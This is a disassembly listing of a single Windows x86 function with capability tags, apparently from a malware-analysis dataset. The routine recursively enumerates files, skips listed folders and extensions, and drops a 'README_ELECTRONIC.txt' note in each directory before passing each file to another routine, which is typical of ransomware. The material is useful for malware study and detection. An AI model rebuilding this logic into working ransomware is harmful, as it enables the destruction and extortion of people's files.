Function at 0x4056e0
Capabilities:
Enumerate files on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x274
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x270], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 2
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [esp + 0x1c]
push ebx
push str.Start_Enumeration:__s
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
call fcn.00404be0
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x42477c]
call ebx
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
jne 0x405780
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42477c]
call ebx
mov edi, eax
mov dword [esp + 0x14], eax
test edi, edi
je 0x405760
push dword [esp + 0x18]
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x1c]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [eax + 4], edi
mov eax, ecx
mov dword [esp + 0x1c], edi
cmp edi, eax
je 0x4059e1
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea eax, [edi + 8]
push eax
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 0x3c]
push edi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x405800
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4057e0
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.README_ELECTRONIC.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40585d
push 0
lea eax, [esp + 0x28]
push eax
push 0x424328
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x424328
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0xc]
push 0x420a64
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x4059b0
mov ecx, dword [esp + 0x14]
add ecx, 8
push 0x2a
push ecx
call fcn.00407585
mov esi, dword [esp + 0x18]
add esp, 8
xor ecx, ecx
mov word [eax], cx
push 0x420a6c
lea eax, [esp + 0x58]
push eax
call ebx
test eax, eax
je 0x405995
push 0x420a70
lea eax, [esp + 0x58]
push eax
call ebx
test eax, eax
je 0x405995
mov eax, dword [esp + 0x28]
test eax, 0x404
jne 0x405995
xor esi, esi
test al, 0x10
je 0x405a10
push dword [esi + 0x4201c0]
lea eax, [esp + 0x58]
push eax
call ebx
test eax, eax
je 0x405991
add esi, 4
cmp esi, 0x50
jb 0x4058f1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0x54]
push eax
call edi
add esi, eax
lea esi, [esi*2 + 0xe]
push esi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x405960
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x405940
push dword [esp + 0xc]
lea esi, [edi + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x54]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x20], edi
mov edi, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4058b0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x14]
push edx
push 0
push dword [0x42477c]
mov eax, dword [edx + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], edi
cmp edi, eax
jne 0x4057b2
push dword [esp + 0x18]
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x27c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406a54
mov esp, ebp
pop ebp
ret 4
push dword [esi + 0x420150]
lea eax, [esp + 0x58]
push eax
call ebx
test eax, eax
je 0x405991
add esi, 4
cmp esi, 0x38
jb 0x405a10
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov edi, eax
cmp word [edi], 0
je 0x405a5b
xor esi, esi
push dword [esi + 0x420188]
push edi
call ebx
test eax, eax
je 0x40598d
add esi, 4
cmp esi, 0x18
jb 0x405a42
cmp dword [esp + 0x48], 0
jne 0x405a6d
cmp dword [esp + 0x44], 0
je 0x40598d
push dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0x54]
push eax
call edi
add esi, eax
lea edi, [esi*2 + 2]
push edi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x405ac0
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405aa0
mov edi, dword [esp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x54]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00405290
push esi
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x405991